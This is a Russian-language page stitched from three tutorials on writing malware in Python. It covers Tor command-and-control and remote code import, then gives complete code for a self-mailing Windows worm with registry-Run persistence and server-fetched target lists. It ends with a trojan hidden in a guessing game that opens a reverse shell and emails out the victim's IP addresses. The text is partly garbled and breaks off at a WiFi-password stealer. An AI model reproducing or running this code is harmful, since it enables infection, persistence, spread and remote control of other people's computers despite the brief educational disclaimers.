Как написать вирусную программу на python

Мелкая питонячая радость #12: вирусы и зловредное ПО на Python

В мире существует много явлений с сомнительной и спорной репутацией. Например, сюда можно отнести хоккей на траве, датскую квашеную селедку и мужские трусы-стринги. А еще к этому списку можно с абсолютной уверенностью добавить вирусы на Python.

Трудно сказать, что толкает людей на создание вредоносного ПО на этом языке программирования. Обилие выпускников “шестимесячных курсов Django-программистов” с пробелами в базовых технических познаниях? Желание нагадить ближнему без необходимости учить C/C++? Или благородное желание разобраться в технологиях виримейкерства путем создания небольших прототипов вирусов на удобном языке?

Если отбросить часть иронии…

… и вникнуть в ситуацию, то становится видно, что адекватные питонячие зловреды не только существуют, но и успешно заражают компьютеры. Их мало, они относительно легко вычисляются антивирусами (полиморфный код в питонячих вирусах невозможен, об этом поговорим чуть ниже), но и общая компьютерная грамотность среднего пользователя невысока, что дает этим вирусам шанс на выживание и успешное заражение.

Есть продвинутый бэкдор Seaduke, родившийся где-то на территории России и принадлежащий к семейству Duke. По этому семейству вирусов есть подробный доклад. Исходные тексты Seaduke удалось восстановить, текст доступен для прочтения на github.

Есть PWOBot, на протяжении нескольких лет успешно заражавший компы в Восточной Европе (преимущественно в Польше). Есть PoetRAT, заразивший в начале этого года государственные компьютеры в Азербайджане. PoetRAT — вполне зрелый образец вредоносного кода, способный воровать учетки, делать снимки с камеры и логировать нажатия клавиш. Есть еще несколько десятков примеров вирусов на Python, которые успешно расселились по интернету в достаточном количестве, чтобы попасться в поле зрения кибербезопасников.

Как нам теперь становится ясно, тема питонячих вирусов — совсем не такая дохлая, как кажется на первый взгляд. Давайте вместе посмотрим на то, как и с какими библиотеками пишутся зловреды на Python.

Упаковка в бинарники

Поскольку Python — язык интерпретируемый, это создает некоторые трудности при дистрибуции зловредов: нужно, чтобы в ОС был интерпретатор нужной версии, а все необходимые библиотеки были установлены в правильные места на диске. Все это сильно мешает типу программ, который должен сам себя устанавливать и запускать. Поэтому питонячие вирусы, направленные на заражение клиентских машин (а ведь можно еще и заражать серверы) принято упаковывать в бинарный исполняемый файл, который содержит в себе либо интерпретатор с библиотеками в архиве, либо двоичную программу, собранную на основе Python кода.

• https://www.py2exe.org/ — старый классический способ упаковки питонячих программ в бинарники. Он создает архив, в котором лежит интерпретатор, ваш код + все необходимые зависимости.
• https://nuitka.net/ — более хитрый способ сборки бинарников. Этот инструмент транслирует Python код в С и потом компилирует его.

Антивирусы умеют распознавать шаблоны и типичные структуры вирусов, так они вычисляют зловредные программы по их типичным последовательностям байтов. Чтобы скрыться от антивируса, виримейкеры делаю свой код самомодифицируемым — при каждой новой установке зловред переписывает свой код и порождает все новые и новые варианты двоичного файла, которые уже не опознаются антивирусами. Такой подход называется полиморфным кодированием и его невозможно применять в случае, если вы работаете с Python кодом, транслируемым в бинарник. Лишенные основного инструменты противостояния антивирусам, питонячие зловреды весьма уязвимы даже перед самыми простыми антивирусными программами.

Но на многих компах сегодня нет ативирусов, поэтому вирусы на Python способы выживать и активно размножаться.

А шо вирусу делать?

Зловредам надо как-то общаться со своими владельцами, получать от них команды и обновления, передавать им добытые данные. Без обратной связи вирусы могут только мелко хулиганить.

Для общения нужен какой-то удаленный адрес, с которым осуществляется обмен информацией. Регать домен и покупать сервер — палевно: владельца вируса можно легко вычислить. Конечно, есть всякие анонимные хостинги и регистраторы доменов сомнительной честности, но и с ними риски не минимальны.

Более безопасный вариант — мессенджеры (IRC, Jabber) и, конечно же, Tor.

Для обмена данными с хозяевами вирусы используют библиотеку torpy. В ней все предельно просто — заводишь список адресов (на всякий случай, вдруг один из хостов отвалится), коннектишься к доступным и получаешь апдейты к вирусу или команды.

from torpy import TorClient hostname = 'ifconfig.me' # It's possible use onion hostname here as well tor = TorClient() # Choose random guard node and create 3-hops circuit with tor.create_circuit(3) as circuit: # Create tor stream to host with circuit.create_stream((hostname, 80)) as stream: # Now we can communicate with host stream.send(b'GET / HTTP/1.0\r\nHost: %s\r\n\r\n' % hostname.encode()) recv = stream.recv(1024)

Работа с tor c этой либой проста, не сложнее requests.

А шо бы своровать?

Воровство персональных данных — важная часть жизни любого вируса. Вопрос поиска и парсинга различных файлов с паролями перед программистами не стоит — это легко делается штатными средствами Python. Перехват нажатий клавиш в ОС — сложнее, но это можно нагуглить. Для работы с вебкой — OpenCV. Единственное, что вызывает вопросы — как делать скриншоты из Python?

На выручку приходит pyscreenshot. Предвосхищая ваши вопросы, скажу, что магии внутри библиотеки нет — она не умеет из Питона читать буфер экрана. В основе этого пакета лежит коллекция костылей и подпорок, которые определяют тип ОС, в которой работает ваша программа и дальше идет поиск внутри операционки доступных инструментов для снятия скриншотов.

# pyscreenshot/examples/grabfullscreen.py "Grab the whole screen" import pyscreenshot as ImageGrab # grab fullscreen im = ImageGrab.grab() # save image file im.save("fullscreen.png")

Звучит это все очень ненадежно, но библиотека адекватно справляется со снятием изображений с экрана на всех популярных платформах.

Серверная токсичность

Бэкдоры на Python для серверов тоже встречаются в природе. Они тоже способны гадить в вашей системе, но механизмы работы у них уже другие.

Например, питонячему серверному вирусу не обязательно упаковываться в бинарник — интерпретатор Python есть на многих серваках: можно запускаться на нем. Поэтому авторы зловредов для серверного применения вместо упаковки кода используют обфускацию — запутывание исходников так, чтобы их невозможно было прочитать.

Один из самых популярных инструментов для обфускации — pyarmor. Одна команда легко превращает ваш код в нечитаемую хрень и усложняет понимание текста программы. Тема обфускации кода вообще сама по себе очень интересна, для углубления познаний по этой теме рекомендую ознакомиться с книгой. Pyarmor пригодится не только авторам вирусов, но и тем, кто хочеть по каким-то причинам защитить исходники от легкого прочтения.

Вторая вещь, на которую нужно обратить внимание авторам серверного вредоносного ПО — наличие библиотек.

Конечно, можно весь код засунуть в один файл — но тогда он будет очень большим. Второй вариант — exec()/eval() и чтение кода с удаленного сервера: этот подход явно лучше! Но самый простой в реализации способ — использование готовой библиотеки httpimport для удаленного импорта питонячих пакетов.

>>> with httpimport.remote_repo(['package1','package2','package3'], 'http://my-codes.example.com/python_packages'): . import package1 . 

>>> with httpimport.github_repo('operatorequals', 'covertutils', branch = 'master'): . import covertutils . # Also works with 'bitbucket_repo' and 'gitlab_repo'

Вот и все

Это далеко не полный список того, что используют авторы зловредов на Python. Описанные выше инструменты и подходы научат вас тому, как мыслят вирусописатели и чем могут быть опасны подозрительные питонячие скрипты.

Внимательно относитесь к малоизвестным зависимостям и пакетам, которые ставите в свои проекты. Не доверяйте обфусцированному коду и всегда просматривайте код малознакомых библиотек перед запуском.

На сегодня все, прошлые питонячие радости смотрите по ссылке.

Статья Изучаем принцип работы сетевого червя на Python

Приветствую!
Пытался придумать вводную — не получилось. Да и оно вам надо? Так что, давайте вкратце: в этой статье мы разберем такой тип вирусов, как «сетевой червь» и даже напишем одного такого.

Итак, что же такое, эти ваши сетевые черви?

Если поискать на википедии, то можно найти следующее определение: «Сетевой червь — разновидность

Ссылка скрыта от гостей
, самостоятельно распространяющейся через локальные и глобальные (
Ссылка скрыта от гостей

) компьютерные сети.» и, в принципе, все верно, сетевой червь — это действительно вредоносная программа, способная воспроизводить себя на устройствах, распространяющаяся по сетевым каналам и часто, способная к самостоятельному преодолению систем защиты компьютерных сетей. При этом пользователь не подозревает о заражении своего компьютера.

Распространятся по сети черви могут, отправляя свои копии по электронной почте, или заражая устройства, используя критические уязвимости систем (например, такие, как, знаменитая, закрытая уже Eternal Blue). Сетевые черви могут размножаться по каналам файлообменных пиринговых (p2p) сетей (например, Kazaa, Grokster, eDonkey, FastTrack, Gnutella и др.), в системах мгновенного обмена сообщениями (таких как Facebook Messenger, Skype или WhatsApp) и даже, через наше любимую, «безопасную» IRC.

Принцип работы сетевого червя довольно прост — вредоносная программа попадает на устройство, закрепляется там, выполняет вредоносные действия, если есть такая задача и распространяется дальше.

Ну что ж, предлагаю создать одного такого представителя, данного семейства вирусов.

!ВАЖНО! Прошу обратить внимание, что т.к. материал в статье представлен исключительно в образовательных целях, созданный нами червь не будет выполнять никаких вредоносных действий, не будет прятаться на зараженном устройстве и маскировать себя при распространении и самовоспроизведении (например выдавая себя за документ). И вообще, создание вредоносных программ — плохо и можно за это понести ответственность, согласно

Ссылка скрыта от гостей

, или другой страны, в которой вы проживаете.

Для начала, давайте уточним язык программирования, на котором будем творить. Я, естественно буду использовать python3 (не зря же я в этой ветке тему создал, да?), т.к. я криворукий рукожоп и не могу нормально использовать другой яп он простой и наглядный, но если есть понимание, что программа делает, то и написать её на другом ЯПе не составит труда.

Теперь определимся, какие задачи будет выполнять наша программа, после заражения устройства (червь будет создан под устройства с ОС windows):
1. Создать свою копию на зараженном устройстве.
2. Записать себя в автозагрузку, через реестр.
3. Триггернуть canarytoken (чтоб нам на почту капнуло уведомление, о том, что червь засел на очередном устройстве)
4. Обратиться к серверу и получить от него какие-либо данные (инструкции). * В нашем случае червь будет получать список email-адресов для дальнейшей рассылки по ним своих копий
5. Выполнить какие-либо действия на зараженном устройстве.
6. Начать самораспространение, путем отправки своих копий, на ранее полученные email-адреса.

С задачами определились, можно и начинать кодить.
Для начала давайте импортируем нужные нам модули:

#!/usr/bin/env python # -*- coding: utf-8 -*- import os, sys import shutil import requests from winreg import OpenKey, SetValueEx, CloseKey, HKEY_CURRENT_USER, KEY_ALL_ACCESS, REG_SZ import smtplib from email.mime.multipart import MIMEMultipart from email.mime.base import MIMEBase from email.mime.application import MIMEApplication

Думаю, os, sys, requests — всем знакомы, на них останавливаться не будем. Модуль winreg предоставляет доступ к реестру Windows, smtplib и email — используются для создания электронной рассылки.
Если у вас отсутствует какой-либо модуль, его нужно установить используя команду:

pip install ‘название модуля’
pip3 install ‘название модуля’

Теперь решим первую задачу — самовоспроизведение. Заставим нашего червяка размножится вегетативно, так сказать:

def main(): # Создаем клона dir = os.getenv("APPDATA") + r'/worm/' # Вместо worm можно подставить любое название программы path = dir + os.path.basename(__file__) # тут будет копия программы, она же будет запускаться в дальнейшем if not os.path.exists(dir): # если директории не существует - создать и скопировать туда нашего червя os.makedirs(dir) # создание директории в appdata shutil.copy(__file__, path) # копирование программы

С этой частью — все должно быть ясно и проблем возникнуть не должно. Просто проверяем, есть ли уже наш червь на устройстве, если нет — то копируем его. Тут наш червь не прячется и копирует себя в том виде, в котором есть, со вполне очевидным названием.

Переходим ко второй задаче — прописываем червя в автозапуск, через реестр:

 # прописываем в автозапуск, через реестр reestr_path = OpenKey(HKEY_CURRENT_USER, r'SOFTWARE\Microsoft\Windows\CurrentVersion\Run', 0, KEY_ALL_ACCESS) SetValueEx(reestr_path, 'worm', 0, REG_SZ, path) CloseKey(reestr_path)

Готово, тут тоже все элементарно — определяем путь в реестре до автозапуска и создаем новую запись. Прошу отметить, что червяк не будет маскироваться под какую-нибудь системную утилиту, а имеет честное название «worm».

Теперь перейдем к пунктам 3 и 4 — тригернем канарейку и получим инструкции с сервера. Про то, как создать свой cannarytoken в интернете есть много информации, да и сам процесс создания не особо сложный, так что заострять внимание на этом не буду, если у кого-то возникнут вопросы — расскажу в следующий раз, что это, с чем это едят и как такое сделать.

 # Тригирим канарейку requests.get('http://canarytokens.com/feedback/01oohhr7cpup3uf0x44m0vol2/index.html') # получчаем инструкции с сервера (в случае этой программы - получаем список почт, для рассылки) instructions = requests.get('http://192.168.3.111/instruction.txt', stream=True) # получения файла с данными с сервера with open('instruction.txt', 'wb') as f: shutil.copyfileobj(instructions.raw, f) # на всякий случай сохраняем инструкции

Обратите внимание, что, т.к. я не собираюсь заражать устройства в сторонних сетях, то мой сервер находится в той же сети, что и зараженное устройство. поднят он простейшим способом, при помощи питона и команды:

sudo python -m SimpleHTTPServer 80

В каталоге, который используется, как корневая директория сервера лежит заготовленный файл с инструкциями «instruction.txt», который и стягивает наш червь.

Так же, вместо своего сервера, можно использовать другие средства, например — гит-репозиторий, с которого червь будит тянуть то, что нам нужно.

Ну что ж, больше половины червяка готово, теперь перейдем к пункту 5 и напишем отдельную функцию, для выполнения зловредных и не очень действий:

def Execute(): """Функция для выполненя зловредных действий""" with open('README.txt', 'w', encoding='utf-8') as f: f.write('Belligerent worm in action')

У нас, как понятно по коду, никаких вредоносных действий выполняться не будет, просто создастся файл «README.txt», но отдельная функция нужна, для наглядности, т.к. на самом деле в неё можно запихать целую кучу различных действий.

И вот мы наконец добрались до последнего 6 пункта — самораспространения. Напишем функцию, которая будет рассылать копии нашего червя на email-адреса, указанные в присланном ранее файле, с сервера:

def SendMail(path): """Создание письма, с вложением в него программы и отправка на мыла пользователей, в списке из инструкции""" # подготовка данных писма with open('instruction.txt', 'r') as f: for mail in f: # читаем файл с email-адресами, для рассылки построчно if mail != None: FROM = "forwormpost@gmail.com" # почта с которой будет вестись отправка TO = mail msg = MIMEMultipart() msg['From'] = FROM msg['To'] = TO msg['Subject'] = 'worm' # тема письма # вложение файла with open(path, 'rb') as f: part = MIMEApplication(f.read(), Name=os.path.basename(path)) part['Content-Discription'] = 'attachment; filename="%s"' % os.path.basename(path) msg.attach(part) # Отправка письма smtpOBJ = smtplib.SMTP("smtp.gmail.com", 587) smtpOBJ.starttls() smtpOBJ.login(FROM, 'паорль от своей почты') smtpOBJ.sendmail(FROM, TO, msg.as_string()) smtpOBJ.quit()

В качестве почты, с которой червь будет производить рассылку, используется почта gmail. Сразу надо отметить, что в настройках аккаунта gogle надо открыть доступ к почте из ненадежных источников, иначе защита gmail не даст нам залогиниться и отправлять сообщения.

Вот и все, ребята, как говорится. Склеим нашего монстра Франкенштейна и проверим его работоспособность.
Код червя целиком:

#!/usr/bin/env python # -*- coding: utf-8 -*- import os, sys import shutil import requests from winreg import OpenKey, SetValueEx, CloseKey, HKEY_CURRENT_USER, KEY_ALL_ACCESS, REG_SZ import smtplib from email.mime.multipart import MIMEMultipart from email.mime.base import MIMEBase from email.mime.application import MIMEApplication def main(): # Создаем клона dir = os.getenv("APPDATA") + r'/worm/' # Вместо worm можно подставить любое название программы path = dir + os.path.basename(__file__) #тут будет копия программы, она же будет запускаться в дальнейшем if not os.path.exists(dir): os.makedirs(dir) shutil.copy(__file__, path) # прописываем в автозапуск, через реестр reestr_path = OpenKey(HKEY_CURRENT_USER, r'SOFTWARE\Microsoft\Windows\CurrentVersion\Run', 0, KEY_ALL_ACCESS) SetValueEx(reestr_path, 'worm', 0, REG_SZ, path) CloseKey(reestr_path) # Тригирим канарейку requests.get('http://canarytokens.com/feedback/01oohhr7cpup3uf0x44m0vol2/index.html') # получчаем инструкции с сервера (в случае этой программы - получаем список почт, для рассылки) instructions = requests.get('http://192.168.3.111/instruction.txt', stream=True) # получения файла с данными с сервера with open('instruction.txt', 'wb') as f: shutil.copyfileobj(instructions.raw, f) # на всякий случай сохраняем инструкции Execute() # выполняем зловредные действия SendMail(path) # начинаем процесс самовоспроизведения и распространения def Execute(): """Функция для выполненя зловредных действий""" with open('README.txt', 'w', encoding='utf-8') as f: f.write('Belligerent worm in action') def SendMail(path): """Создание письма, с вложением в него программы и отправка на мыла пользователей, в списке из инструкции""" # подготовка данных писма with open('instruction.txt', 'r') as f: for mail in f: if mail != None: FROM = "forwormpost@gmail.com" TO = mail msg = MIMEMultipart() msg['From'] = FROM msg['To'] = TO msg['Subject'] = 'worm' # вложение файла with open(path, 'rb') as f: part = MIMEApplication(f.read(), Name=os.path.basename(path)) part['Content-Discription'] = 'attachment; filename="%s"' % os.path.basename(path) msg.attach(part) # Отправка письма smtpOBJ = smtplib.SMTP("smtp.gmail.com", 587) smtpOBJ.starttls() smtpOBJ.login(FROM, 'пароль от почты') smtpOBJ.sendmail(FROM, TO, msg.as_string()) smtpOBJ.quit() if __name__ == "__main__": main()

Запускаем и проверяем:

Червь отработал, посмотрим, что же произошло:
В папке «AppData/Roaming» появился каталог «worm» с копией нашего червя.
До:

Появилась запись в реестре. Теперь при каждом запуске устройства, червь будет пытаться размножиться и выполнить то, для чего предназначался.
До:

Подключение к серверу прошло успешно, в каталоге, из которого производился запуск червя появился файл с инструкциями (стянутый с сервера) и README.txt (свидетельствующий об успешном выполнении функции Execute()):

Пришло сообщение о триггере канарейки

В «отправленных» появилось отправленное червем письмо:

В почтовом ящике эфемерной «жертвы» появилось письмо с вложенным червем:

Вложение скачивается без особых проблем и при запуске пользователем, червь будет активно выполнять заложенные в него функции, тем самым распространяясь все больше и больше.
P.S. Реальный такой червь, вместо получения списка email’ов с сервера мог бы вытягивать с устройства жертвы пароль от почты (если он сохранен, а многие такие вещи сохраняют в каких-нибудь, встроенных в браузер, парольных менеджерах), брать несколько последних адресов с которыми «жертва» вела переписку и отправлять свои копии им, притворяясь при этом каким-нибудь важным документом, кончено.

Ну и на последок, можно скомпилировать нашего червя в .exe файл при помощи pyinstaller и команды:
pyinstaller —onefile —icon=’иконка приложения.ico’ ‘название программы’

На этом — статья заканчивается, спасибо всем, кто нашел в себе силы дочитать до конца. Надеюсь, что такой вид вирусов, как «сетевые черви» были тут понятно разобраны и хоть кто-то нашел для себя что-то новое, или просто интереное.

Как написать троян на Python

В этой статье я рас­ска­жу, как написать простой троян на Python с уда­лен­ным дос­тупом, а для боль­шей скрыт­ности мы встро­им его в игру. Даже если вы не зна­ете Python, то смо­жете луч­ше понять, как устро­ены такие вре­доно­сы, и поуп­ражнять­ся в прог­рамми­рова­нии.

Ко­неч­но, при­веден­ные в статье скрип­ты совсем не годят­ся для исполь­зования в боевых усло­виях: обфуска­ции в них нет, прин­ципы работы прос­ты как пал­ка, а вре­донос­ные фун­кции отсутс­тву­ют вовсе. Тем не менее при желании их воз­можно исполь­зовать для нес­ложных пакос­тей или приколов.

Как написать троян на Python

Итак, что есть тро­ян? Вирус — это прог­рамма, глав­ная задача которой — самоко­пиро­вание. Червь активно рас­простра­няет­ся по сети (типич­ный при­мер — «Петя» и WannaCry), а тро­ян — скры­тая вре­донос­ная прог­рамма, которая мас­киру­ется под «хороший» софт и шпионить за пользователем. Подробнее о троянах в статье «Что такое RAT».

Ло­гика подоб­ного зараже­ния в том, что поль­зователь сам ска­чает себе вре­донос на компь­ютер (нап­ример, под видом кряк­нутой прог­раммы), сам отклю­чит защит­ные механиз­мы (ведь прог­рамма выг­лядит хорошей) и захочет оста­вить надол­го.

Хакеры и тут не дрем­лют, так что в новос­тях то и дело мель­кают сооб­щения о новых жер­твах пират­ско­го ПО и о шиф­роваль­щиках, поража­ющих любите­лей халявы. Но мы‑то зна­ем, что бес­плат­ный сыр быва­ет толь­ко в мусор­ке, и сегод­ня научим­ся очень прос­то начинять тот самый сыр чем‑то не впол­не ожи­даемым.

Вся информа­ция пре­дос­тавле­на исклю­читель­но в озна­коми­тель­ных целях. Ни автор статьи, ни редак­ция сайта spy-soft.net не несут ответс­твен­ности за любой воз­можный вред, при­чинен­ный данным матери­ало­м. Несан­кци­они­рован­ный дос­туп к информа­ции и наруше­ние работы сис­тем могут прес­ледовать­ся по закону. Не забывайте об этом!

Определение IP-адреса

Для начала нам (то есть нашему тро­яну) нуж­но понять, где он ока­зал­ся. Важ­ная часть вашей информа­ции — IP-адрес, по которо­му с заражен­ной машиной мож­но будет соеди­нить­ся в даль­нейшем.

Нач­нем писать код. Сра­зу импорти­руем биб­лиоте­ки:

import socket
from requests import get

Обе биб­лиоте­ки не пос­тавля­ются с Python, поэто­му, если они у вас отсутс­тву­ют, их нуж­но уста­новить коман­дой pip .

pip install socket
pip install requests

Ес­ли вы видите ошиб­ку, что у вас отсутс­тву­ет pip, сна­чала нуж­но уста­новить его с сай­та pypi.org. Любопыт­но, что рекомен­дуемый спо­соб уста­нов­ки pip — через pip, что, конеч­но, очень полез­но, ког­да его нет.

Код получе­ния внеш­него и внут­ренне­го адре­сов будет таким. Обра­тите вни­мание, что, если у жер­твы нес­коль­ко сетевых интерфей­сов (нап­ример, WiFi и Ethernet одновре­мен­но), этот код может вес­ти себя неп­равиль­но.

# Определяем имя устройства в сети
hostname = socket . gethostname ( )
# Определяем локальный (внутри сети) IP-адрес
local_ip = socket . gethostbyname ( hostname )
# Определяем глобальный (публичный / в интернете) IP-адрес
public_ip = get ( ‘http://api.ipify.org’ ) . text

Ес­ли с локаль­ным адре­сом все более‑менее прос­то — находим имя устрой­ства в сети и смот­рим IP по име­ни устрой­ства, — то вот с пуб­личным IP все несколько слож­нее.

Я выб­рал сайт api . < wbr / >ipify . < wbr / >org , так как на выходе нам выда­ется толь­ко одна стро­ка — наш внеш­ний IP. Из связ­ки пуб­личный + локаль­ный IP мы получим поч­ти точ­ный адрес устрой­ства.

Вы­вес­ти информа­цию еще про­ще:

print ( f ‘Хост: ‘ )
print ( f ‘Локальный IP: ‘ )
print ( f ‘Публичный IP: ‘ )

Ни­ког­да не встре­чал конс­трук­ции типа print ( < wbr / >f ‘<>‘ ) ? Бук­ва f озна­чает фор­матиро­ван­ные стро­ковые литера­лы. А по простому — прог­рам­мные встав­ки пря­мо в стро­ку.

Стро­ковые литера­лы не толь­ко хорошо смот­рятся в коде, но и помога­ют избе­гать оши­бок типа сло­жения строк и чисел (Python — это вам на JavaScript!).

import socket
from requests import get
hostname = socket . gethostname ( )
local_ip = socket . gethostbyname ( hostname )
public_ip = get ( ‘http://api.ipify.org’ ) . text
print ( f ‘Хост: ‘ )
print ( f ‘Локальный IP: ‘ )
print ( f ‘Публичный IP: ‘ )

За­пус­тив этот скрипт, мы смо­жем опре­делить IP-адрес нашего (или чужого) компь­юте­ра.

Бэкконнект по почте

Те­перь напишем скрипт, который будет при­сылать нам пись­мо.

Им­порт новых биб­лиотек (обе нуж­но пред­варитель­но пос­тавить через pip < wbr / >install ):

import smtplib as smtp
from getpass import getpass

Пи­шем базовую информа­цию о себе:

# Почта, с которой будет отправлено письмо
email = ‘demo@spy-soft.net’
# Пароль от нее (вместо ***)
# Почта, на которую отправляем письмо
dest_email = ‘demo@spy-soft.net’
# Тема письма
subject = ‘IP’
# Текст письма
email_text = ‘TEXT’

Даль­ше сфор­миру­ем пись­мо:

message = ‘From: <>\nTo: <>\nSubject: <>\n\n<>‘ . format ( email , dest_email , subject , email_text )

Пос­ледний штрих — нас­тро­ить под­клю­чение к поч­товому сер­вису. Я поль­зуюсь Яндекс.Поч­той, поэто­му нас­трой­ки выс­тавлял для нее.

server = smtp . SMTP_SSL ( ‘smtp.yandex.com’ ) # SMTP-сервер Яндекса
server . set_debuglevel ( 1 ) # Минимизируем вывод ошибок (выводим только фатальные ошибки)
server . ehlo ( email ) # Отправляем hello-пакет на сервер
server . login ( email , password ) # Заходим на почту, с которой будем отправлять письмо
server . auth_plain ( ) # Авторизуемся

server . sendmail ( email , dest_email , message ) # Вводим данные для отправки (адреса свой и получателя и само сообщение)

server . quit ( ) # Отключаемся от сервера

В стро­ке server . < wbr / >ehlo ( < wbr / >email ) мы исполь­зуем коман­ду EHLO . Боль­шинс­тво сер­веров SMTP под­держи­вают ESMTP и EHLO . Если сер­вер, к которо­му вы пыта­етесь под­клю­чить­ся, не под­держи­вает EHLO , мож­но исполь­зовать HELO .

Пол­ный код этой час­ти тро­яна:

import smtplib as smtp
import socket
from getpass import getpass
from requests import get
hostname = socket . gethostname ( )
local_ip = socket . gethostbyname ( hostname )
public_ip = get ( ‘http://api.ipify.org’ ) . text
email = ‘demo@spy-soft.net’
dest_email = ‘demo@spy-soft.net’
subject = ‘IP’
email_text = ( f ‘Host: \nLocal IP: \nPublic IP: ‘ )

message = ‘From: <>\nTo: <>\nSubject: <>\n\n<>‘ . format ( email , dest_email , subject , email_text )

server = smtp . SMTP_SSL ( ‘smtp.yandex.com’ )
server . set_debuglevel ( 1 )
server . ehlo ( email )
server . login ( email , password )
server . auth_plain ( )
server . sendmail ( email , dest_email , message )
server . quit ( )

После запуска скрипта, получа­ем пись­мо.

Этот скрипт я про­верил на VirusTotal. Резуль­тат на скри­не.

Создание трояна на Python

По задум­ке, тро­ян пред­став­ляет собой кли­ент‑сер­верное при­ложе­ние с кли­ентом на машине ата­куемо­го и сер­вером на запус­кающей машине. Дол­жен быть реали­зован мак­сималь­ный уда­лен­ный дос­туп к сис­теме.

Как обыч­но, нач­нем с биб­лиотек:

import random
import socket
import threading

Для начала напишем игру «Уга­дай чис­ло». Тут все край­не прос­то, поэто­му задер­живать­ся дол­го не буду.

# Создаем функцию игры
# Берем случайное число от 0 до 1000
number = random . randint ( 0 , 1000 )
# Счетчик попыток
# Флаг завершения игры
done = False
# Пока игра не закончена, просим ввести новое число
while not done :
guess = input ( ‘Введите число: ‘ )
# Если ввели число
if guess . isdigit ( ) :
# Конвертируем его в целое
guess = int ( guess )
# Проверяем, совпало ли оно с загаданным; если да, опускаем флаг и пишем сообщение о победе
if guess == number :
done = True
print ( f ‘Ты победил! Я загадал . Ты использовал попыток.’ )
# Если же мы не угадали, прибавляем попытку и проверяем число на больше/меньше
if guess > number :
print ( ‘Загаданное число меньше!’ )
print ( ‘Загаданное число больше!’ )
# Если ввели не число — выводим сообщение об ошибке и просим ввести число заново
print ( ‘Это не число от 0 до 1000!’ )
За­чем столь­ко слож­ностей с про­вер­кой на чис­ло? Мож­но было прос­то написать:
guess < wbr / >= < wbr / >int ( < wbr / >input ( < wbr / >‘Введите число: ‘ ) < wbr / >)

Если бы мы написа­ли так, то при вво­де чего угод­но, кро­ме чис­ла, выпада­ла бы ошиб­ка, а это­го допус­тить нель­зя, так как ошиб­ка зас­тавит прог­рамму оста­новить­ся и обру­бит соеди­нение.

Вот код нашего тро­яна. Ниже мы будем раз­бирать­ся, как он работа­ет, что­бы не про­гова­ривать заново базовые вещи.

# Создаем функцию трояна
def trojan ( ) :
# IP-адрес атакуемого
HOST = ‘192.168.2.112’
# Порт, по которому мы работаем
PORT = 9090
# Создаем эхо-сервер
client = socket . socket ( socket . AF_INET , socket . SOCK_STREAM )
client . connect ( ( HOST , PORT ) )
while True :
# Вводим команду серверу
server_command = client . recv ( 1024 ) . decode ( ‘cp866’ )
# Если команда совпала с ключевым словом ‘cmdon’, запускаем режим работы с терминалом
if server_command == ‘cmdon’ :
cmd_mode = True
# Отправляем информацию на сервер
client . send ( ‘Получен доступ к терминалу’ . encode ( ‘cp866’ ) )
# Если команда совпала с ключевым словом ‘cmdoff’, выходим из режима работы с терминалом
if server_command == ‘cmdoff’ :
cmd_mode = False
# Если запущен режим работы с терминалом, вводим команду в терминал через сервер
if cmd_mode :
os . popen ( server_command )
# Если же режим работы с терминалом выключен — можно вводить любые команды
if server_command == ‘hello’ :
print ( ‘Hello World!’ )
# Если команда дошла до клиента — выслать ответ
client . send ( f ‘ успешно отправлена!’ . encode ( ‘cp866’ ) )

Сна­чала нуж­но разоб­рать­ся, что такое сокет и с чем его едят. Сокет прос­тым язы­ком — это условная вил­ка или розет­ка для прог­рамм. Сущес­тву­ют кли­ент­ские и сер­верные сокеты: сер­верный прос­лушива­ет опре­делен­ный порт (розет­ка), а кли­ент­ский под­клю­чает­ся к сер­веру (вил­ка). Пос­ле того как уста­нов­лено соеди­нение, начина­ется обмен дан­ными.

client < wbr / >= < wbr / >socket . < wbr / >socket ( < wbr / >socket . < wbr / >AF_INET , < wbr / >socket . < wbr / >SOCK_STREAM )

соз­дает эхо‑сер­вер (отпра­вили зап­рос — получи­ли ответ). AF_INET озна­чает работу с IPv4-адре­саци­ей, а SOCK_STREAM ука­зыва­ет на то, что мы исполь­зуем TCP-под­клю­чение вмес­то UDP, где пакет посыла­ется в сеть и далее не отсле­жива­ется.

client . < wbr / >connect ( ( < wbr / >HOST , < wbr / >PORT ) < wbr / >)

ука­зыва­ет IP-адрес хос­та и порт, по которым будет про­изво­дить­ся под­клю­чение, и сра­зу под­клю­чает­ся.

Фун­кция client . < wbr / >recv ( < wbr / >1024 ) при­нима­ет дан­ные из сокета и явля­ется так называ­емым «бло­киру­ющим вызовом». Смысл такого вызова в том, что, пока коман­да не передас­тся или не будет отвер­гну­та дру­гой сто­роной, вызов будет про­дол­жать выпол­нять­ся. 1024 — это количес­тво задей­ство­ван­ных бай­тов под буфер при­ема.

Нель­зя будет при­нять боль­ше 1024 байт (1 Кбайт) за один раз, но нам это и не нуж­но: час­то вы руками вво­дите в кон­соль боль­ше 1000 сим­волов? Пытать­ся мно­гок­ратно уве­личить раз­мер буфера не нуж­но — это зат­ратно и бес­полез­но, так как нужен боль­шой буфер при­мер­но раз в никог­да.

Ко­ман­да decode ( < wbr / >‘cp866’ ) декоди­рует получен­ный бай­товый буфер в тек­сто­вую стро­ку сог­ласно задан­ной кодиров­ке (у нас 866). Но почему имен­но cp866 ? Зай­дем в коман­дную стро­ку и вве­дем коман­ду chcp .

Ко­диров­ка по умол­чанию для рус­ско­гово­рящих устрой­ств — 866, где кирил­лица добав­лена в латини­цу. В англо­языч­ных вер­сиях сис­темы исполь­зует­ся обыч­ный Unicode, то есть utf — 8 в Python. Мы же говорим на рус­ском язы­ке, так что под­держи­вать его нам прос­то необ­ходимо.

При желании кодиров­ку мож­но поменять в коман­дной стро­ке, наб­рав пос­ле chcp ее номер. Юни­код име­ет номер 65001.

При при­еме коман­ды нуж­но опре­делить, не слу­жеб­ная ли она. Если так, выпол­няем опре­делен­ные дей­ствия, ина­че, если вклю­чен тер­минал, перенап­равля­ем коман­ду туда. Недос­таток — резуль­тат выпол­нения так и оста­ется необ­работан­ным, а его хорошо бы отправ­лять нам. Это будет вам домаш­ним задани­ем: реали­зовать эту фун­кцию мож­но от силы минут за пят­надцать, даже если гуг­лить каж­дый шаг.

Ре­зуль­тат про­вер­ки кли­ента на VirusTotal порадо­вал.

Ба­зовый тро­ян написан, и сей­час мож­но сде­лать очень мно­гое на машине ата­куемо­го, ведь у нас дос­туп к коман­дной стро­ке. Но почему бы нам не рас­ширить набор фун­кций? Давайте еще пароли от WiFi!

Создание WiFi-стилера на Python

За­дача — соз­дать скрипт, который из коман­дной стро­ки узна­ет все пароли от дос­тупных сетей Wi-Fi.

